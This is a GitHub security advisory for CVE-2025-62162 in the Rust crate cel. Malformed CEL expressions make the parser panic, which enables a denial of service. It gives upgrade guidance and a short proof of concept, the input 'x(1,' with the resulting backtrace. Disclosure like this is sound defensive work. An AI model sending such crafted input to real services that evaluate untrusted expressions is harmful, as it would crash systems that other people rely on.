GitHub Advisoryadvisory · crates.io
GHSA-wxwx-9fh7-5mrw cel-rust May Panic During Parsing of Invalid CEL Expressions
HIGH
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- Aliases
- CVE-2025-62162
- Ecosystem
- crates.io
- Packages
- cel
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20
- Reviewed
- 2025-10-11
Affected packages
• crates.io cel: >= 0.10.0, < 0.11.4 → fixed in 0.11.4
Description
Summary
Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).
Remediation
Upgrade to 0.11.4
```toml
[dependencies]
cel = "0.11.4"
```
PoC
```rust
use cel::{Context, Program};
fn main() {
let program = Program::compile("x(1,").unwrap();
let context = Context::default();
let value = program.execute(&context).unwrap();
assert_eq!(value, true.into());
}
```
```
$ RUST_BACKTRACE=1 cargo run --bin example-simple
Compiling num-traits v0.2.19
Compiling aho-corasick v1.1.3
Compiling regex-syntax v0.8.5
Compiling arbitrary v1.4.1
Compiling serde v1.0.219
Compiling thiserror v1.0.69
Compiling regex-automata v0.4.9
Compiling chrono v0.4.41
Compiling regex v1.11.1
Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)
warning: `cel` (lib) generated 15 warnings
Compiling example v0.1.0 (/home/john/git/cel-rust/example)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s
Running `target/debug/example-simple`
thread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:
internal error: entered unreachable code: should have been properly implemented by generated context when reachable
stack backtrace:
0: __rustc::rust_begin_unwind
1: core::panicking::panic_fmt
2: antlr4rust::tree::Visitable::accept
3: >::accept
4: >::accept_dyn
5: >::visit_node
6: ::visit
7: ::visit_calc
8: ::visit_calc
9: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
10: >::accept_dyn
11: >::visit_node
12: ::visit
13: ::visit_relation
14: ::visit_relation
15: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
16: >::accept_dyn
17: >::visit_node
18: ::visit
19: ::visit_conditionalAnd
20: ::visit_conditionalAnd
21: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
22: >::accept_dyn
23: >::visit_node
24: ::visit
25: ::visit_conditionalOr
26: ::visit_conditionalOr
27: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
28: >::accept_dyn
29: >::visit_node
30: ::visit
31: ::visit_expr
32: ::visit_expr
33: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
34: >::accept_dyn
35: >::visit_node
36: ::visit
37: ::visit_GlobalCall::{{closure}}
38: as core::iter::traits::iterator::Iterator>::next
39: alloc::vec::Vec::extend_desugared
40: as alloc::vec::spec_extend::SpecExtend>::spec_extend
41: as alloc::vec::spec_from_iter_nested::SpecFromIterNested>::from_iter
42: as alloc::vec::spec_from_iter::SpecFromIter>::from_iter
43: as core::iter::traits::collect::FromIterator>::from_iter
44: core::iter::traits::iterator::Iterator::collect
45: ::visit_GlobalCall
46: ::visit_GlobalCall
47: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
48: >::accept
49: >::accept_dyn
50: >::visit_node
51: ::visit
52: ::visit_PrimaryExpr
53: ::visit_PrimaryExpr
54: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept
55: <cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitab…
Related
Alias · CVE (1)
- CVE-2025-62162 cel-rust is a Common Expression Language interpreter written in Rust. vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness
References
- https://github.com/cel-rust/cel-rust/security/advisories/GHSA-wxwx-9fh7-5mrw web
- https://nvd.nist.gov/vuln/detail/CVE-2025-62162 advisory
- https://github.com/cel-rust/cel-rust/commit/9df9822d81d91a3ce0fc9f712f4574a659247be3 web
- https://github.com/cel-rust/cel-rust package
- https://github.com/cel-rust/cel-rust/releases/tag/cel-v0.11.4 web